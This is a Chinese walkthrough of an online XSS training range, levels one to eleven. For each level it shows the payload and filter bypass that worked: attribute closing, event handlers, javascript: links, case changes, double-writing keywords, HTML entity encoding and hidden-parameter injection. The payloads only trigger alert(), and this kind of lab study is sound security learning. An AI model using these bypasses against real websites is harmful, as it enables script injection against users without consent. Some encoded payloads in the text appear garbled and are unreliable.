练习了DVWA靶场中的XSS了解了一些原理和攻击方式,接下来就用在线XSS平台开始实战一番。
第一关
用最常用的攻击语句试试。
1 | <script>alert(/hacker/)</script> |
第二关
就先把这个最简单的攻击语句放上去看看
1 | <script>alert(/hacker/)</script> |
没有出现弹窗,看下页面源代码。1
2<input name=keyword value="<script>alert(/hacker/)</script>">
<input type=submit name=submit value="搜索"/>
观察代码,要想我们的语句起作用,就需要把前面的<input>
标签给闭合掉。
那就输入这样的语句:
payload:1
"><script>alert(/hacker/)</script>
第三关
还是那个套路,放上最常用的语句试试
没有成功,看看页面源代码
1 | <input name=keyword value='<script>alert(/hacker/)</script>'> |
发现输入的<和>被转义了
既然过滤了<和>,那就换一种攻击方式,用onclick 事件,onclick 事件会在元素被点击时发生。onclick 事件直接包含在<>内,并且可以被执行。再观察页面源代码,是单引号,那就在前面加'
把value给闭合掉。
payload:1
'onclick='javascript:alert(/hacker/)'
输入之后,再点击一下输入框
第四关
先拿一个攻击语句测试下,再看看页面源代码。
1 | <input name=keyword value="scriptalert(/hacker/)/script"> |
观察到<和>直接被过滤掉了
那就用onclick 事件,这里是双引号,那就在前面输入"
,把value给闭合掉。
payload:1
"onclick="javascript:alert(/hacker/)"
第五关
还是那个套路,先输入常用的看看,没有弹窗,看看页面源代码。
1 | <input name=keyword value=""o_nclick="javascript:alert(/xss/)""> |
发现on中多了一个下划线,所以过滤了onclick事件,试试script
,再看页面源代码。1
2<input name=keyword value=""><scr_ipt>alert(/hacker/)</script>">
<input type=submit name=submit value=搜索 />
果然,script
也同样被过滤了。
那就用<a>
标签构造攻击语句试试。
payload:1
"><a href="javascript:alert(/xss/)">hacker</a>
也可以再后面加上//
注释掉后面的"/
,以免对前面的语句产生影响。
第六关
输入我们刚才用的语句,看页面源代码。
1 | <input name=keyword value="<scr_ipt>alert(/hacker/)</script>"> |
1 | <input name=keyword value=""o_nclick="javascript:alert(/xss/)""> |
1 | <input name=keyword value=""><a hr_ef="javascript:alert(/xss/)">点这里</a>//"> |
可以看到在这里,href
和script
、onclick
事件都被过滤了。
这里过滤的是onclick,改为大写试试。
payload:1
"ONCLICK="javascript:alert(/hacker/)"
在浏览博客的时候也看到一个大佬用的payload1
"><svg x="" Onclick=alert(1)>
利用<svg>
标签进行攻击。
第七关
输入"><a href="javascript:alert(/xss/)">
查看页面源代码1
2<input name=keyword value=""><a ="java:alert(/xss/)">点这里</a>//">
<input type=submit name=submit value=搜索 />
输入"><script>alert(/hacker/)</script>
查看页面源代码1
2<input name=keyword value=""><>alert(/hacker/)</>">
<input type=submit name=submit value=搜索 />
这次更狠,直接把关键字给过滤没了
用双写绕过
payload:1
"><sscriptcript>alert(/hacker/)</sscriptcript>
过滤掉中的script,但是一旦过滤掉,前后又可以重新拼接起来,形成一个完整的语句。
第八关
输入"onclick="javascript:alert(/hacker/)"
发现href,script被过滤,就试试onclick事件。
页面源代码:
1 | <input name=keyword value=""onclick="javascript:alert(/hacker/)""> |
发现"
,<
,>
也被转义了。
再次观察源代码,发现友情链接。。。真的是提示,这不就是<a>
标签绕过吗?1
2
3
4<input name=keyword value="javascript:alert(1)">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="javascr_ipt:alert(1)">友情链接</a>
既然下面有<a>
标签,那我们就直接输入这个语句1
javascript:alert(/hacker/)
但是script
会被过滤,换一种方式表达script
采用HTML字符实体转换地址
方法一:
payload:1
javascript:alert(/hacker/)
参考大佬的payload:
方法二:用 html 的自解码机制就可以绕过1
javascript:alert(0)
方法三:可以全转换为HTML实体1
javascript:alert(1)
第九关
又是友情链接,把刚才的语句输入进去,查看页面源代码。
1 | <input name=keyword value="java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(/hacker/)"> |
我们输入的语句并没有进入到 <a>
标签中,这里应该对格式有一定要求,查看大佬的博客后发现需要添加http://
,否则不合法。
payload:1
javascript:alert(/hacker/)//http://
第九关和第八关类似,区别就是第九关添加了url验证合法性。
第十关
这次更狠,连个输入框都不给。那就先看一下页面源代码吧
1 | <form id=search> |
一脸懵,不知道该如何下手了,只能去查看大佬的wp了。
先测试测试哪个可以注入
查看页面源代码,发现1
2
3<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value=""text"" type="hidden">
找到了,t_sort就是注入点,那就开始注入吧
代码中有隐藏的参数设置,把hidden改为text
payload:1
&t_sort="onclick="alert(/hacker/)"type="text"
也可以1
&t_sort=" type="text" onclick="alert(/hacker/)
第十一关
还没有输入框,那类型应该和第十关比较类似,先看页面源代码。
1 | <form id=search> |
一样的方法,先测试一下看那个可以注入
查看页面源代码1
2
3
4
5
6<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="3" type="hidden">
<input name="t_ref" value="" type="hidden">
</form>
发现了t_sort是可以注入的,把刚才的payload拿来试试1
<input name="t_sort" value=""onclick="alert(/hacker/)"type="text"" type="hidden">
发现"
被转义了,把"
转化为HTML实体也不行。查大佬的wp吧
发现做到这一关需要burpsuite抓包工具来帮忙,所以先做到这里,等到会用抓包工具了,再回过头来继续做。
未完待续————————